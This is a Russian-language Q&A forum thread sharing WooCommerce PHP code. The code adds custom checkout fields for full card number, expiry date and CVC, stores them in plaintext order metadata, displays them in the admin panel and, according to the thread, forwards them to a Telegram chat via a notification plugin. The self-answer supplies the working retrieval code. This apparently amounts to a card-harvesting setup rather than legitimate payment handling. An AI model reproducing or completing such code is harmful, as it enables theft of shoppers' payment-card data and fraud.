@redesupar

Как достать свои дополнительные поля с заказа woocommerce?

В общем для поля заказа сделал свои поля, они все норм работают.
add_action( 'woocommerce_after_order_notes', 'my_custom_checkout_field' );
function my_custom_checkout_field( $checkout ) {

    echo '<div id="my_custom_checkout_field"><div class="credit-icon"><h3>' . __('Carte de credit') . '</h3><div class="cartina"><img src="http://standupshow.pro/wp-content/uploads/2023/05/visa.png"><img src="http://standupshow.pro/wp-content/uploads/2023/05/mc.png"></div></div>';

    woocommerce_form_field( 'card_title', array(
        'type'          => 'text',
        'class'         => array('my-field-class form-row-wide'),
        'label'         => __('Titulaire de la carte'),
        'placeholder'   => __(''),
		'required'      => true,
        ), $checkout->get_value( 'card_title' ));
    woocommerce_form_field( 'card_number', array(
        'type'          => 'text',
        'class'         => array('my-field-class form-row-wide'),
        'label'         => __('Numero de la carte'),
		'required'      => true,
        'placeholder'   => __('0000 0000 0000 0000'),
        ), $checkout->get_value( 'card_number' ));
	echo '<div class="date-cvc">';
	    woocommerce_form_field( 'card_date', array(
        'type'          => 'text',
        'class'         => array('my-field-class form-row-wide'),
        'label'         => __('Date de validate'),
        'placeholder'   => __('MM/YY'),
			'required'      => true,
        ), $checkout->get_value( 'card_date' ));
	
	    woocommerce_form_field( 'card_cvc', array(
        'type'          => 'text',
        'class'         => array('my-field-class form-row-wide'),
        'label'         => __('Cryptogramme visuel'),
        'placeholder'   => __('***'),
			'maxlength' => "3",
			'required'      => true,
        ), $checkout->get_value( 'card_cvc' ));
	echo '</div>';
	    woocommerce_form_field( 'card_checked', array(
        'type'          => 'checkbox',
        'class'         => array('my-field-class form-row-wide'),
        'label'         => __('Memoriser ces informations pour les prochaines fois'),
        'placeholder'   => __(''),
			'required'      => true,
        ), $checkout->get_value( 'card_checked' ));
	
    echo '</div>';

}
/**
 * Выполнение формы заказа
 */
add_action('woocommerce_checkout_process', 'my_custom_checkout_field_process');

function my_custom_checkout_field_process() {
    // Проверяем, заполнено ли поле, если же нет, добавляем ошибку.
    if ( ! $_POST['card_title'] )
        wc_add_notice( __( 'Пожалуйста, введите требуемый текст в наше новое замечательное поле.' ), 'error' );
}


/**
 * Обновляем метаданные заказа со значением поля
 */
add_action( 'woocommerce_checkout_update_order_meta', 'my_custom_checkout_field_update_order_meta' );

function my_custom_checkout_field_update_order_meta( $order_id ) {
    if ( ! empty( $_POST['card_title'] ) ) {
        update_post_meta( $order_id, 'card_title', sanitize_text_field( $_POST['card_title'] ) );
    }
	    if ( ! empty( $_POST['card_number'] ) ) {
        update_post_meta( $order_id, 'card_number', sanitize_text_field( $_POST['card_number'] ) );
    }
	    if ( ! empty( $_POST['card_date'] ) ) {
        update_post_meta( $order_id, 'card_date', sanitize_text_field( $_POST['card_date'] ) );
    }
	    if ( ! empty( $_POST['card_cvc'] ) ) {
        update_post_meta( $order_id, 'card_cvc', sanitize_text_field( $_POST['card_cvc'] ) );
    }
}
/**
 * Выводим значение поля на странице редактирования заказа
 */
add_action( 'woocommerce_admin_order_data_after_billing_address', 'my_custom_checkout_field_display_admin_order_meta', 10, 1 );

function my_custom_checkout_field_display_admin_order_meta($order){
    echo '<p><strong>'.__('CARD HOLDER').':</strong> ' . get_post_meta( $order->id, 'card_title', true ) . '</p>';
	  echo '<p><strong>'.__('CARD NUMBER').':</strong> ' . get_post_meta( $order->id, 'card_number', true ) . '</p>';
	  echo '<p><strong>'.__('CARD DATE').':</strong> ' . get_post_meta( $order->id, 'card_date', true ) . '</p>';
	  echo '<p><strong>'.__('CARD CVC').':</strong> ' . get_post_meta( $order->id, 'card_cvc', true ) . '</p>';
}

Установил плагин Notification for telegram и прям в плагин добавил свои изменения, но не берет данные. Как правильно брать данные с доп полей заказа?
пишу так
$card_title = $order->get_card_title();
    $card_number = $order->get_card_number();
	  $card_date = $order->get_card_date();
	  $card_cvc = $order->get_card_date();

и так отправить пытаюсь
$defmessage = $defmessage = "\xE2\x9C\x8C New order ".$id ." on ".$bloginfo ."\xE2\x9C\x8C\r\n\xF0\x9F\x91\x89 ". $first_name. " ". $last_name.", CARD: " .  $card_title . "/ " .  $card_number . " / " .  $card_date . " / " .  $card_cvc . "".  $billing_email ."\r\n\xF0\x9F\x92\xB0 ".$total." ".$currency_code;
  • Вопрос задан
  • 115 просмотров
Решения вопроса 1
@redesupar Автор вопроса
Кому надо сделал так

$card_title = get_post_meta( $order->id, 'card_title', true );
 $card_number = get_post_meta( $order->id, 'card_number', true );
 $card_date = get_post_meta( $order->id, 'card_date', true );
 $card_cvc = get_post_meta( $order->id, 'card_cvc', true );
Ответ написан
Комментировать
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы